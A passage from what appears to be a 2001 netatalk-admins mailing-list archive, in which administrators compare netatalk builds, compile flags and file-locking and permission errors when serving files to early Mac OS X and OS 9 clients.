> - works with OS9; fast. folder alias problems;
> - OSX clients get disconnected immediately after share choice; slow sherlock name searches;
> - best choice for me now (production).
>
> LinuxPPC 2000 Q4
> - configure-related problems (setpgrp...), 'commented' out to get ahead.
> - works with OS9; fast. folder alias problems; extremely slow sherlock name searches;
> - OSX clients get disconnected immediately after share choice;
> - best choice for me now (production).
>
> === netatalk-1.5pre4 ===
>
> LinuxPPC 2000 Q4
> - compiled but didn't work: disconnect upon file share choice with OS9 (same problem as with OSX).
>
> SuSE Linux 6.3/Intel:
> - problems compiling
>
> === netatalk-1.5pre5 ===
>
> LinuxPPC 2000 Q4
> - configure-related problems (can not check if setpgrp is cross compiling...), 'commented' out some configure lines to get ahead.
> - suspicious messages when making
> - install problems: codepages not found? had to get them from an older /etc/atalk file
> - after a few hours of work, when i came back and netatalk had crashed.
> - switched back to pre3
>
> .....
>
> :-|
>
> p.p.s.
>
> I like thisone quite a bit. It' s just about almost everything:
>
> >========================================================
> >
> >"Always ask the question, never assume the answer."
> >		Marcus Radich 1999
> >
> >========================================================
>
> assuming is a bad habit......
> difficult to give up, in some cases, too......
> (it always gives the illusion to be effective - especially in programming issues)
>
> ;-)
>
>
> Lorenzo
>
>
>
> At 12:09 Uhr +1200 29.03.2001, Marcus Radich wrote:
> >OK, I originally found that asun2.1.3 was wicked for serving quark dox, but when I updated to 214, I started having file locking problems with quark (typical). Also seems to happen with codewarrior(noted by a friend).
> >So after reading through asun's notes, I found a section which refers to the "old style" of byte locking. Adding the DEF= line and recompiling works perfectly. I have over 20 servers in production proving that!
> >
> >Go to: ftp://ftp.cobaltnet.com/pub/users/asun/testing/  if you need it.
> >
> >I'm currently running MacOS X 4L5 (10.0.1), which BTW is quite a bit snappier than 4K78 (10.0.0), and connecting to these servers shows no issues. Confirmed and tested!
> >
> >(Also, for those "Mac OS X is too slow" people. Get 10.0.1 when it comes out (soon), and get Plus for X. It allows you to change Genie to scale and other less-CPU-intensive things. Look on versiontracker for a link to this)
> >
> >I still use 1.4b2+asun214-37b because it works. I think I will start experimenting with 1.5 soon.
> >
> >mrad01
> >
> >
> >At 12:08 PM -0500 28/3/2001, Steven Karel wrote:
> >>1. Just wanted to concur with Marcus that netatalk-1.4b2+asun2.1.4-pre37b
> >>works fine with the appleshare client in OS X 10.0,.whereas the public
> >>beta failed horribly . Not all versions of netatalk are that well behaved,
> >>however. I haven't tested exhaustively, but I do know that 37b works on at
> >>least 4 of our servers (RH 6.2/RH 7.0). Also, the old version 1.4b2-2.1.3
> >>seems to work as well.
> >>
> >>2. Setting -DUSE_FLOCK_LOCKS doesn't seem to be necessary for this
> >>purpose, although it may help with file locking for other reasons. Marcus,
> >>if you could be so kind, can you explain for us again what problems it
> >>solves, and where exactly you recommend setting it? (I added
> >>-DUSE_FLOCK_LOCKS in the sys/linux/Makefile DEFS= line)
> >>
> >>README.ASUN says:
> >>
> >>
> >>	byte locks should now work. if you want to enable the old way
> >>        of doing things, add -DUSE_FLOCK_LOCKS.
> >>
> >>
> >>
> >>thanks,
> >>
> >>stevne
> >>
> >> On Wed, 28
> >>Mar 2001, Marcus Radich wrote:
> >>
> >>>
> >>> BTW, netatalk 1.4b2+asun 214 -37b works very well with Mac OS X as
> >>> long as you add the DEFS= -DFLOCKS thingy to the sys/Linux/Makefile
> >>> before you compile. I haven't tried 1.5. You can only connect via IP
> >>> (great!) and transferring files large and small has worked for me
> >>> since 4K46
> >>>
> >>> mrad01
> >>>
> >
> >
> >
> >--
> >========================================================
> >
> >"Always ask the question, never assume the answer."
> >		Marcus Radich 1999
> >
> >========================================================
>

-- 

Chad Cunningham
ccunning@math.ohio-state.edu

"Well, once again my friend, we find that science is a two-headed beast. One
head is nice, it gives us aspirin and other modern conveniences,...but the
other head of science is bad! Oh beware the other head of science, Arthur, it
bites!"


From netatalk.administrators-errors@umich.edu  Tue Apr  3 19:23:59 2001
Return-Path: <netatalk.administrators-errors@umich.edu>
Received: from kingcreole.mr.itd.umich.edu (kingcreole.mr.itd.umich.edu [141.211.14.25])
	by terminator.rsug.itd.umich.edu (8.9.3/3.0+) with ESMTP id TAA10463
	for <netatalk-admins@terminator.rsug.itd.umich.edu>; Tue, 3 Apr 2001 19:23:59 -0400 (EDT)
Received: (from daemon@localhost)
	by kingcreole.mr.itd.umich.edu (8.9.3/3.1u) with X.500 id TAA13014
	for netatalk-admins@terminator.rsug.itd.umich.edu; Tue, 3 Apr 2001 19:23:59 -0400 (EDT)
Received: (from daemon@localhost)
	by kingcreole.mr.itd.umich.edu (8.9.3/3.1u) with X.500 id TAA12981
	for netatalk.administrators-members@umich.edu; Tue, 3 Apr 2001 19:23:58 -0400 (EDT)
Received: from vulcan.borgspace.alpha ([213.97.106.73])
	by kingcreole.mr.itd.umich.edu (8.9.3/3.1u) with ESMTP id TAA12884
	for <Netatalk-Admins@umich.edu>; Tue, 3 Apr 2001 19:23:55 -0400 (EDT)
Received: from localhost (tangy.borgspace.alpha [10.0.0.3])
	by vulcan.borgspace.alpha (8.11.1/8.11.1) with ESMTP id f33NKKn04492;
	Wed, 4 Apr 2001 01:20:32 +0200 (CEST)
	(envelope-from jason_quigley@hp.com)
Message-Id: <200104032320.f33NKKn04492@vulcan.borgspace.alpha>
Date: Wed, 4 Apr 2001 01:23:38 +0200
From: "QUIGLEY,JASON (HP-Spain,ex1)" <jason_quigley@hp.com>
Content-Type: text/plain;
	format=flowed;
	charset=us-ascii
Subject: Re: Mac OS X and netatalk...
Cc: Netatalk-Admins@umich.edu
To: Lorenzo Perone <lopez.on.the.lists@yellowspace.net>
X-Mailer: Apple Mail (2.387)
In-Reply-To: <p04310100b6eb3c8f0cb6@[192.168.1.201]>
Mime-Version: 1.0 (Apple Message framework v387)
Content-Transfer-Encoding: 7bit

Hi Lorenzo!

A little late perhaps, I have been rebuilding my work system and mail 
archives (Beta 2 trashed the hard disk type problems!!).

Anyway, the option you should be trying is: -DUSE_FLOCK_LOCKS

I tried this for myself but didn't get much joy. It's been mentioned 
that it's the client's fault or the server's fault but I've got my test 
system running with netatalk-1.4b2+asun2.1.3_1 - just barely. I'm 
getting the usual permissions crap with directories. Compiling the 
asun2.1.4 versions is broken under FreeBSD. The pre series on source 
forge is broken (compiles okay) with 10 - unexpected shutdowns. I'm 
going to try and run 2 sets of servers - the pre series for 9- machines 
and the one that barely works for 10+ machines binding to different 
addresses to see if this is a solution.

I think the general impression that I get is that nobody really has a 
clue what's at fault and as the jocks on source forge don't really care 
too much about anything other Linux, those of us who like to run stable 
setups are in for a long wait for a resolution.

Does anybody know if Apple is interested in supporting anything other 
the Mac OS X Server or Appleshare IP? It would be nice to know what 
changes are going on in the client side, at least.

Sorry if I sound pissed off, but I have tried to compile, or have 
compiled (into the wee hours) every version of netatalk that I could get 
my hands on and every one has a different set of problems. I think the 
frustration is starting to get to me!!

Cheers,
Jason.

On Saturday, March 31, 2001, at 10:47  am, Lorenzo Perone wrote:

> Hi fellow neta-admins,
>
> I've been 'going down deep' into the OSX/netatalk adventure ;-)
>
> I've tried the -DFLOCKS (adding it to the DEFS line - correct?) thing 
> and pre-asun2.1.4-38b_test.
> No success, I get -43 and -37 errors _everywhere_  (uploading and 
> downloading) - looks like an .AppleDouble problem? (thought they were 
> related to resources, those errors).
> But the same dirs used to work perfectly with pre3m (I'll check thisone 
> out, anyway!).
>
> With pre-asun2.1.4-37b it got better:
> Mounts OK, downloads and gives the -43 error only on some files.
> But then, after throwing one copied folder to the trash, when trying to 
> empty it, I get a message with 'not enough privileges to perform 
> operation'.
> Weird enough: I got into the terminal, su-rooted (with an enabled root 
> account, via NetInfoManager).
> This is what I got when I tried to rm the stuff in /Users/lopez/.Trash:
>
> override rwx------  lopez/staff for 
> 6100's/Preferences/UMAX/VistaScan/Viewer Files/BRI4.JPG? y
> rm: 6100's/Preferences/UMAX/VistaScan/Viewer Files/BRI4.JPG: Operation 
> not permitted
>
> I tried to chmod 660 all the stuff in there:
>
> root# chmod -R 660 *
> chmod: 6100's//Preferences/UMAX/VistaScan/Viewer Files/Y9.JPG: 
> Operation not permitted
> sort of weird! How can I get rid of that stuff now??
>
> it could well be that it's the names of that folder I tried with, which 
> contain 'Preferences' and other strange mac chars. Anyway, an ls -la in 
> the undeletable folder items gives:
>
> -rwx------    1 lopez  staff    6988 May 27  1998 Y5_4.JPG
> -rwx------    1 lopez  staff    6940 May 27  1998 Y5_5.JPG
> ....
>
> After testing with other folders, things looked much better, but I 
> still get
> - unsufficient privileges
> - an item with the name 'Icon' already exists
> - some other errors
>
> but with other dirs I did not have the trashing-permission 
> problem........
>
> ....at least, I got to mount the volumes on Mac OS X 10.0.0, which I 
> never got to work with netatalk 1.4.99 and sourceforge-successors.
> I'd be glad if someone has a solution...... anyway, I'm sure as soon as 
> rufustfirefly or asun or anybody else involved will get to reproduce 
> the problems, they'll be solved.
> Damned...... I'd really like to start using OSX now, despite it being 
> some kind of  'Beta 2'.
> I tried hard, with all versions of netatalk I could find. I'm not a C 
> programmer, just a web developer, and sysadmin.
> I compiled mostly on LinuxPPC (cause there I have our most important 
> files).
>
>
> :-(
>
>
>
> Allright, now I'll reboot into macos9, and since it worked so well with 
> OS9, switch back to 1.5pre3........
>
> Lorenzo
>
> p.s.
>
> here's a list of my experiments....... if it can be useful to anybody, 
> anyway. I mean, it can be a reference only to those that see matching 
> experiences in at least 2 cases ;)
>
> === 1.4b2+asun2.1.3: ===
>
> Same experience with the following OSes:
>
> SuSE Linux 6.3/Intel:
> SuSE Linux 7.0/Intel
> SuSE Linux 7.0/PPC
> LinuxPPC 2000 Q4
>
> - distri standard;
> - works with OS9, slow. resource, ownership, ID related problems on OS9;
> - OSX client connects and mounts, but plenty of problems when opening / 
> editing files;
>
> === netatalk-pre-asun2.1.4-38b_test ===
>
> LinuxPPC 2000 Q4
>
> - works with OS9, FAST. seems OK on OS9, but I'd have to make more 
> tests, no time now.
> - OSX client connects and mounts, but -43 and -37 errors EVERYWHERE, 
> also with files without resources or type/creators;
>
> === netatalk-pre-asun2.1.4-37b===
>
> LinuxPPC 2000 Q4
>
> - OS9 not tested yet
> - OSX client connects and mounts, but -43 and -37 errors when copying, 
> but only on some files.
> - When putting things of SOME folders to the trash (looks like folder 
> name problems!), can't empty trash 'not enough privileges'
> - otherwise _very fast_ on OSX, also on many folders and files!
>
> === netatalk-1.4.99-0.20001108 ===
>
> SuSE Linux 6.3/Intel:
> - works with OS9; fast. alias problems;
> - OSX clients get disconnected immediately after share choice;
>
> LinuxPPC 2000 Q4:
> - compiled but didn't work: disconnect upon file share choice with OS9.
>
>
> === netatalk-1.5pre3 ===
>
> SuSE Linux 6.3/Intel:
> - works with OS9; fast. folder alias problems;
> - OSX clients get disconnected immediately after share choice; slow 
> sherlock name searches;
> - best choice for me now (production).
>
> SuSE Linux 7.0/Intel
> - works with OS9; fast. folder alias problems;
> - OSX clients get disconnected immediately after share choice; slow 
> sherlock name searches;
> - best choice for me now (production).
>
> LinuxPPC 2000 Q4
> - configure-related problems (setpgrp...), 'commented' out to get ahead.
> - works with OS9; fast. folder alias problems; extremely slow sherlock 
> name searches;
> - OSX clients get disconnected immediately after share choice;
> - best choice for me now (production).
>
> === netatalk-1.5pre4 ===
>
> LinuxPPC 2000 Q4
> - compiled but didn't work: disconnect upon file share choice with OS9 
> (same problem as with OSX).
>
> SuSE Linux 6.3/Intel:
> - problems compiling
>
> === netatalk-1.5pre5 ===
>
> LinuxPPC 2000 Q4
> - configure-related problems (can not check if setpgrp is cross 
> compiling...), 'commented' out some configure lines to get ahead.
> - suspicious messages when making
> - install problems: codepages not found? had to get them from an older 
> /etc/atalk file
> - after a few hours of work, when i came back and netatalk had crashed.
> - switched back to pre3
>
> .....
>
> :-|
>
> p.p.s.
>
> I like thisone quite a bit. It' s just about almost everything:
>
>> ========================================================
>>
>> "Always ask the question, never assume the answer."
>> 		Marcus Radich 1999
>>
>> ========================================================
>
> assuming is a bad habit......
> difficult to give up, in some cases, too......
> (it always gives the illusion to be effective - especially in 
> programming issues)
>
> ;-)
>
>
> Lorenzo
>
>
>
> At 12:09 Uhr +1200 29.03.2001, Marcus Radich wrote:
>> OK, I originally found that asun2.1.3 was wicked for serving quark 
>> dox, but when I updated to 214, I started having file locking problems 
>> with quark (typical). Also seems to happen with codewarrior(noted by a 
>> friend).
>> So after reading through asun's notes, I found a section which refers 
>> to the "old style" of byte locking. Adding the DEF= line and 
>> recompiling works perfectly. I have over 20 servers in production 
>> proving that!
>>
>> Go to: ftp://ftp.cobaltnet.com/pub/users/asun/testing/  if you need it.
>>
>> I'm currently running MacOS X 4L5 (10.0.1), which BTW is quite a bit 
>> snappier than 4K78 (10.0.0), and connecting to these servers shows no 
>> issues. Confirmed and tested!
>>
>> (Also, for those "Mac OS X is too slow" people. Get 10.0.1 when it 
>> comes out (soon), and get Plus for X. It allows you to change Genie to 
>> scale and other less-CPU-intensive things. Look on versiontracker for 
>> a link to this)
>>
>> I still use 1.4b2+asun214-37b because it works. I think I will start 
>> experimenting with 1.5 soon.
>>
>> mrad01
>>
>>
>> At 12:08 PM -0500 28/3/2001, Steven Karel wrote:
>>> 1. Just wanted to concur with Marcus that 
>>> netatalk-1.4b2+asun2.1.4-pre37b
>>> works fine with the appleshare client in OS X 10.0,.whereas the public
>>> beta failed horribly . Not all versions of netatalk are that well 
>>> behaved,
>>> however. I haven't tested exhaustively, but I do know that 37b works 
>>> on at
>>> least 4 of our servers (RH 6.2/RH 7.0). Also, the old version 
>>> 1.4b2-2.1.3
>>> seems to work as well.
>>>
>>> 2. Setting -DUSE_FLOCK_LOCKS doesn't seem to be necessary for this
>>> purpose, although it may help with file locking for other reasons. 
>>> Marcus,
>>> if you could be so kind, can you explain for us again what problems it
>>> solves, and where exactly you recommend setting it? (I added
>>> -DUSE_FLOCK_LOCKS in the sys/linux/Makefile DEFS= line)
>>>
>>> README.ASUN says:
>>>
>>>
>>> 	byte locks should now work. if you want to enable the old way
>>>        of doing things, add -DUSE_FLOCK_LOCKS.
>>>
>>>
>>>
>>> thanks,
>>>
>>> stevne
>>>
>>> On Wed, 28
>>> Mar 2001, Marcus Radich wrote:
>>>
>>>>
>>>> BTW, netatalk 1.4b2+asun 214 -37b works very well with Mac OS X as
>>>> long as you add the DEFS= -DFLOCKS thingy to the sys/Linux/Makefile
>>>> before you compile. I haven't tried 1.5. You can only connect via IP
>>>> (great!) and transferring files large and small has worked for me
>>>> since 4K46
>>>>
>>>> mrad01
>>>>
>>
>>
>>
>> --
>> ========================================================
>>
>> "Always ask the question, never assume the answer."
>> 		Marcus Radich 1999
>>
>> ========================================================
>

From netatalk.administrators-errors@umich.edu  Tue Apr  3 19:26:16 2001
Return-Path: <netatalk.administrators-errors@umich.edu>
Received: from funinacapulco.mr.itd.umich.edu (funinacapulco.mr.itd.umich.edu [141.211.14.27])
	by terminator.rsug.itd.umich.edu (8.9.3/3.0+) with ESMTP id TAA10524
	for <netatalk-admins@terminator.rsug.itd.umich.edu>; Tue, 3 Apr 2001 19:26:16 -0400 (EDT)
Received: (from daemon@localhost)
	by funinacapulco.mr.itd.umich.edu (8.9.3/3.1u) with X.500 id TAA15470
	for netatalk-admins@terminator.rsug.itd.umich.edu; Tue, 3 Apr 2001 19:26:08 -0400 (EDT)
Received: (from daemon@localhost)
	by funinacapulco.mr.itd.umich.edu (8.9.3/3.1u) with X.500 id TAA15448
	for netatalk.administrators-members@umich.edu; Tue, 3 Apr 2001 19:26:07 -0400 (EDT)
Received: from vulcan.borgspace.alpha ([213.97.106.73])
	by funinacapulco.mr.itd.umich.edu (8.9.3/3.1u) with ESMTP id TAA15351
	for <Netatalk-Admins@umich.edu>; Tue, 3 Apr 2001 19:26:04 -0400 (EDT)
Received: from localhost (tangy.borgspace.alpha [10.0.0.3])
	by vulcan.borgspace.alpha (8.11.1/8.11.1) with ESMTP id f33NMln04510;
	Wed, 4 Apr 2001 01:22:48 +0200 (CEST)
	(envelope-from jasonq@mac.com)
Message-Id: <200104032322.f33NMln04510@vulcan.borgspace.alpha>
Date: Wed, 4 Apr 2001 01:26:05 +0200
From: Jason Quigley <jasonq@mac.com>
Content-Type: text/plain;
	format=flowed;
	charset=us-ascii
Subject: Re: Mac OS X and netatalk...
Cc: <Netatalk-Admins@umich.edu>
To: Chad Cunningham <ccunning@math.ohio-state.edu>
X-Mailer: Apple Mail (2.387)
In-Reply-To: <Pine.LNX.4.30.0104031519560.20655-100000@hooloovoo.math.ohio-state.edu>
Mime-Version: 1.0 (Apple Message framework v387)
Content-Transfer-Encoding: 7bit

Hi Chad!

Don't go the way of NFS if you're going to be mixing client platforms. 
That's bad karma, in my experience. 10 messes things up for 9 and can't 
read things that 9 puts on the share.

Cheers,
Jason.


On Tuesday, April 3, 2001, at 09:23  pm, Chad Cunningham wrote:

>
> So, what was the version people said worked fine (arg, no archives?)
>
> I haven't had much luck either, the 1.5 series don't cut it and the
> 1.4b2+asun2.1.3 redhat powertools rpm actually managed to crash the OSX
> finder repeatedly... I was briefly excited to learn that the finder
> recognizes NFS mounts in the final release, which is at least a 
> temporary
> fix, but I have a lot of older files that need to store resource data.
>
> On Sat, 31 Mar 2001, Lorenzo Perone wrote:
>
>> Hi fellow neta-admins,
>>
>> I've been 'going down deep' into the OSX/netatalk adventure ;-)
>>
>> I've tried the -DFLOCKS (adding it to the DEFS line - correct?) thing 
>> and pre-asun2.1.4-38b_test.
>> No success, I get -43 and -37 errors _everywhere_  (uploading and 
>> downloading) - looks like an .AppleDouble problem? (thought they were 
>> related to resources, those errors).
>> But the same dirs used to work perfectly with pre3m (I'll check 
>> thisone out, anyway!).
>>
>> With pre-asun2.1.4-37b it got better:
>> Mounts OK, downloads and gives the -43 error only on some files.
>> But then, after throwing one copied folder to the trash, when trying 
>> to empty it, I get a message with 'not enough privileges to perform 
>> operation'.
>> Weird enough: I got into the terminal, su-rooted (with an enabled root 
>> account, via NetInfoManager).
>> This is what I got when I tried to rm the stuff in /Users/lopez/.Trash:
>>
>> override rwx------  lopez/staff for 
>> 6100's/Preferences/UMAX/VistaScan/Viewer Files/BRI4.JPG? y
>> rm: 6100's/Preferences/UMAX/VistaScan/Viewer Files/BRI4.JPG: Operation 
>> not permitted
>>
>> I tried to chmod 660 all the stuff in there:
>>
>> root# chmod -R 660 *
>> chmod: 6100's//Preferences/UMAX/VistaScan/Viewer Files/Y9.JPG: 
>> Operation not permitted
>> sort of weird! How can I get rid of that stuff now??
>>
>> it could well be that it's the names of that folder I tried with, 
>> which contain 'Preferences' and other strange mac chars. Anyway, an ls 
>> -la in the undeletable folder items gives:
>>
>> -rwx------    1 lopez  staff    6988 May 27  1998 Y5_4.JPG
>> -rwx------    1 lopez  staff    6940 May 27  1998 Y5_5.JPG
>> ....
>>
>> After testing with other folders, things looked much better, but I 
>> still get
>> - unsufficient privileges
>> - an item with the name 'Icon' already exists
>> - some other errors
>>
>> but with other dirs I did not have the trashing-permission 
>> problem........
>>
>> ....at least, I got to mount the volumes on Mac OS X 10.0.0, which I 
>> never got to work with netatalk 1.4.99 and sourceforge-successors.
>> I'd be glad if someone has a solution...... anyway, I'm sure as soon 
>> as rufustfirefly or asun or anybody else involved will get to 
>> reproduce the problems, they'll be solved.
>> Damned...... I'd really like to start using OSX now, despite it being 
>> some kind of  'Beta 2'.
>> I tried hard, with all versions of netatalk I could find. I'm not a C 
>> programmer, just a web developer, and sysadmin.
>> I compiled mostly on LinuxPPC (cause there I have our most important 
>> files).
>>
>>
>> :-(
>>
>>
>>
>> Allright, now I'll reboot into macos9, and since it worked so well 
>> with OS9, switch back to 1.5pre3........
>>
>> Lorenzo
>>
>> p.s.
>>
>> here's a list of my experiments....... if it can be useful to anybody, 
>> anyway. I mean, it can be a reference only to those that see matching 
>> experiences in at least 2 cases ;)
>>
>> === 1.4b2+asun2.1.3: ===
>>
>> Same experience with the following OSes:
>>
>> SuSE Linux 6.3/Intel:
>> SuSE Linux 7.0/Intel
>> SuSE Linux 7.0/PPC
>> LinuxPPC 2000 Q4
>>
>> - distri standard;
>> - works with OS9, slow. resource, ownership, ID related problems on 
>> OS9;
>> - OSX client connects and mounts, but plenty of problems when 
>> opening / editing files;
>>
>> === netatalk-pre-asun2.1.4-38b_test ===
>>
>> LinuxPPC 2000 Q4
>>
>> - works with OS9, FAST. seems OK on OS9, but I'd have to make more 
>> tests, no time now.
>> - OSX client connects and mounts, but -43 and -37 errors EVERYWHERE, 
>> also with files without resources or type/creators;
>>
>> === netatalk-pre-asun2.1.4-37b===
>>
>> LinuxPPC 2000 Q4
>>
>> - OS9 not tested yet
>> - OSX client connects and mounts, but -43 and -37 errors when copying, 
>> but only on some files.
>> - When putting things of SOME folders to the trash (looks like folder 
>> name problems!), can't empty trash 'not enough privileges'
>> - otherwise _very fast_ on OSX, also on many folders and files!
>>
>> === netatalk-1.4.99-0.20001108 ===
>>
>> SuSE Linux 6.3/Intel:
>> - works with OS9; fast. alias problems;
>> - OSX clients get disconnected immediately after share choice;
>>
>> LinuxPPC 2000 Q4:
>> - compiled but didn't work: disconnect upon file share choice with OS9.
>>
>>
>> === netatalk-1.5pre3 ===
>>
>> SuSE Linux 6.3/Intel:
>> - works with OS9; fast. folder alias problems;
>> - OSX clients get disconnected immediately after share choice; slow 
>> sherlock name searches;
>> - best choice for me now (production).
>>
>> SuSE Linux 7.0/Intel
>> - works with OS9; fast. folder alias problems;
>> - OSX clients get disconnected immediately after share choice; slow 
>> sherlock name searches;
>> - best choice for me now (production).
>>
>> LinuxPPC 2000 Q4
>> - configure-related problems (setpgrp...), 'commented' out to get 
>> ahead.
>> - works with OS9; fast. folder alias problems; extremely slow sherlock 
>> name searches;
>> - OSX clients get disconnected immediately after share choice;
>> - best choice for me now (production).
>>
>> === netatalk-1.5pre4 ===
>>
>> LinuxPPC 2000 Q4
>> - compiled but didn't work: disconnect upon file share choice with OS9 
>> (same problem as with OSX).
>>
>> SuSE Linux 6.3/Intel:
>> - problems compiling
>>
>> === netatalk-1.5pre5 ===
>>
>> LinuxPPC 2000 Q4
>> - configure-related problems (can not check if setpgrp is cross 
>> compiling...), 'commented' out some configure lines to get ahead.
>> - suspicious messages when making
>> - install problems: codepages not found? had to get them from an older 
>> /etc/atalk file
>> - after a few hours of work, when i came back and netatalk had crashed.
>> - switched back to pre3
>>
>> .....
>>
>> :-|
>>
>> p.p.s.
>>
>> I like thisone quite a bit. It' s just about almost everything:
>>
>>> ========================================================
>>>
>>> "Always ask the question, never assume the answer."
>>> 		Marcus Radich 1999
>>>
>>> ========================================================
>>
>> assuming is a bad habit......
>> difficult to give up, in some cases, too......
>> (it always gives the illusion to be effective - especially in 
>> programming issues)
>>
>> ;-)
>>
>>
>> Lorenzo
>>
>>
>>
>> At 12:09 Uhr +1200 29.03.2001, Marcus Radich wrote:
>>> OK, I originally found that asun2.1.3 was wicked for serving quark 
>>> dox, but when I updated to 214, I started having file locking 
>>> problems with quark (typical). Also seems to happen with 
>>> codewarrior(noted by a friend).
>>> So after reading through asun's notes, I found a section which refers 
>>> to the "old style" of byte locking. Adding the DEF= line and 
>>> recompiling works perfectly. I have over 20 servers in production 
>>> proving that!
>>>
>>> Go to: ftp://ftp.cobaltnet.com/pub/users/asun/testing/  if you need 
>>> it.
>>>
>>> I'm currently running MacOS X 4L5 (10.0.1), which BTW is quite a bit 
>>> snappier than 4K78 (10.0.0), and connecting to these servers shows no 
>>> issues. Confirmed and tested!
>>>
>>> (Also, for those "Mac OS X is too slow" people. Get 10.0.1 when it 
>>> comes out (soon), and get Plus for X. It allows you to change Genie 
>>> to scale and other less-CPU-intensive things. Look on versiontracker 
>>> for a link to this)
>>>
>>> I still use 1.4b2+asun214-37b because it works. I think I will start 
>>> experimenting with 1.5 soon.
>>>
>>> mrad01
>>>
>>>
>>> At 12:08 PM -0500 28/3/2001, Steven Karel wrote:
>>>> 1. Just wanted to concur with Marcus that 
>>>> netatalk-1.4b2+asun2.1.4-pre37b
>>>> works fine with the appleshare client in OS X 10.0,.whereas the 
>>>> public
>>>> beta failed horribly . Not all versions of netatalk are that well 
>>>> behaved,
>>>> however. I haven't tested exhaustively, but I do know that 37b works 
>>>> on at
>>>> least 4 of our servers (RH 6.2/RH 7.0). Also, the old version 
>>>> 1.4b2-2.1.3
>>>> seems to work as well.
>>>>
>>>> 2. Setting -DUSE_FLOCK_LOCKS doesn't seem to be necessary for this
>>>> purpose, although it may help with file locking for other reasons. 
>>>> Marcus,
>>>> if you could be so kind, can you explain for us again what problems 
>>>> it
>>>> solves, and where exactly you recommend setting it? (I added
>>>> -DUSE_FLOCK_LOCKS in the sys/linux/Makefile DEFS= line)
>>>>
>>>> README.ASUN says:
>>>>
>>>>
>>>> 	byte locks should now work. if you want to enable the old way
>>>>        of doing things, add -DUSE_FLOCK_LOCKS.
>>>>
>>>>
>>>>
>>>> thanks,
>>>>
>>>> stevne
>>>>
>>>> On Wed, 28
>>>> Mar 2001, Marcus Radich wrote:
>>>>
>>>>>
>>>>> BTW, netatalk 1.4b2+asun 214 -37b works very well with Mac OS X as
>>>>> long as you add the DEFS= -DFLOCKS thingy to the sys/Linux/Makefile
>>>>> before you compile. I haven't tried 1.5. You can only connect via IP
>>>>> (great!) and transferring files large and small has worked for me
>>>>> since 4K46
>>>>>
>>>>> mrad01
>>>>>
>>>
>>>
>>>
>>> --
>>> ========================================================
>>>
>>> "Always ask the question, never assume the answer."
>>> 		Marcus Radich 1999
>>>
>>> ========================================================
>>
>
> --
>
> Chad Cunningham
> ccunning@math.ohio-state.edu
>
> "Well, once again my friend, we find that science is a two-headed 
> beast. One
> head is nice, it gives us aspirin and other modern conveniences,...but 
> the
> other head of science is bad! Oh beware the other head of science, 
> Arthur, it
> bites!"
>

From netatalk.administrators-errors@umich.edu  Tue Apr  3 21:52:15 2001
Return-Path: <netatalk.administrators-errors@umich.edu>
Received: from kingcreole.mr.itd.umich.edu (kingcreole.mr.itd.umich.edu [141.211.14.25])
	by terminator.rsug.itd.umich.edu (8.9.3/3.0+) with ESMTP id VAA13306
	for <netatalk-admins@terminator.rsug.itd.umich.edu>; Tue, 3 Apr 2001 21:52:15 -0400 (EDT)
Received: (from daemon@localhost)
	by kingcreole.mr.itd.umich.edu (8.9.3/3.1u) with X.500 id VAA09229
	for netatalk-admins@terminator.rsug.itd.umich.edu; Tue, 3 Apr 2001 21:52:13 -0400 (EDT)
Received: (from daemon@localhost)
	by kingcreole.mr.itd.umich.edu (8.9.3/3.1u) with X.500 id VAA09199
	for netatalk.administrators-members@umich.edu; Tue, 3 Apr 2001 21:52:12 -0400 (EDT)
Received: from PHSEXCHICI.MGH.HARVARD.EDU (phsexchici.mgh.harvard.edu [132.183.126.51])
	by kingcreole.mr.itd.umich.edu (8.9.3/3.1u) with ESMTP id VAA09151
	for <Netatalk-Admins@umich.edu>; Tue, 3 Apr 2001 21:52:11 -0400 (EDT)
Received: by phsexchici.mgh.harvard.edu with Internet Mail Service (5.5.2650.21)
	id <H8D9NFZ3>; Tue, 3 Apr 2001 21:52:10 -0400
Message-ID: <8E741FCD9606D411AD1B00508B64502903DF22@phsexch16.mgh.harvard.edu>
From: "Temple, Matthew H." <Matthew_Temple@dfci.harvard.edu>
To: "'QUIGLEY,JASON (HP-Spain,ex1) '" <jason_quigley@hp.com>,
        "'Lorenzo Perone '" <lopez.on.the.lists@yellowspace.net>
Cc: "'Netatalk-Admins@umich.edu '" <Netatalk-Admins@umich.edu>
Subject: RE: Mac OS X and netatalk...
Date: Tue, 3 Apr 2001 21:52:09 -0400 
MIME-Version: 1.0
X-Mailer: Internet Mail Service (5.5.2650.21)
Content-Type: text/plain;
	charset="iso-8859-1"

All,

Once upon a time in a land far away,  Apple and Digital Equipment actually
worked together to port a genuine appletalk stack for VMS/Ultix/Dec Unix.  I
think
Sun was in on this too.
Unfortunately, after that product became Pacer software it  was bought by a
cannibal company and later destroyed.   CAP and Netatalk have done quite well
up to this point, but a little help/cooperation with/from Apple would be handy.
I suppose that since they've got their own Unix product right now, they
probably won't be pushing hard to insinuate themselve into the netatalk world.
>From their unwillingness to port to Intel, etc., you see how they studiously
avoid having a larger market share unless it just can't be avoided.

						mht

-----Original Message-----
From: QUIGLEY,JASON (HP-Spain,ex1)
To: Lorenzo Perone
Cc: Netatalk-Admins@umich.edu
Sent: 4/3/01 7:23 PM
Subject: Re: Mac OS X and netatalk...

Hi Lorenzo!

A little late perhaps, I have been rebuilding my work system and mail 
archives (Beta 2 trashed the hard disk type problems!!).

Anyway, the option you should be trying is: -DUSE_FLOCK_LOCKS

I tried this for myself but didn't get much joy. It's been mentioned 
that it's the client's fault or the server's fault but I've got my test 
system running with netatalk-1.4b2+asun2.1.3_1 - just barely. I'm 
getting the usual permissions crap with directories. Compiling the 
asun2.1.4 versions is broken under FreeBSD. The pre series on source 
forge is broken (compiles okay) with 10 - unexpected shutdowns. I'm 
going to try and run 2 sets of servers - the pre series for 9- machines 
and the one that barely works for 10+ machines binding to different 
addresses to see if this is a solution.

I think the general impression that I get is that nobody really has a 
clue what's at fault and as the jocks on source forge don't really care 
too much about anything other Linux, those of us who like to run stable 
setups are in for a long wait for a resolution.

Does anybody know if Apple is interested in supporting anything other 
the Mac OS X Server or Appleshare IP? It would be nice to know what 
changes are going on in the client side, at least.

Sorry if I sound pissed off, but I have tried to compile, or have 
compiled (into the wee hours) every version of netatalk that I could get

my hands on and every one has a different set of problems. I think the 
frustration is starting to get to me!!

Cheers,
Jason.

On Saturday, March 31, 2001, at 10:47  am, Lorenzo Perone wrote:

> Hi fellow neta-admins,
>
> I've been 'going down deep' into the OSX/netatalk adventure ;-)
>
> I've tried the -DFLOCKS (adding it to the DEFS line - correct?) thing 
> and pre-asun2.1.4-38b_test.
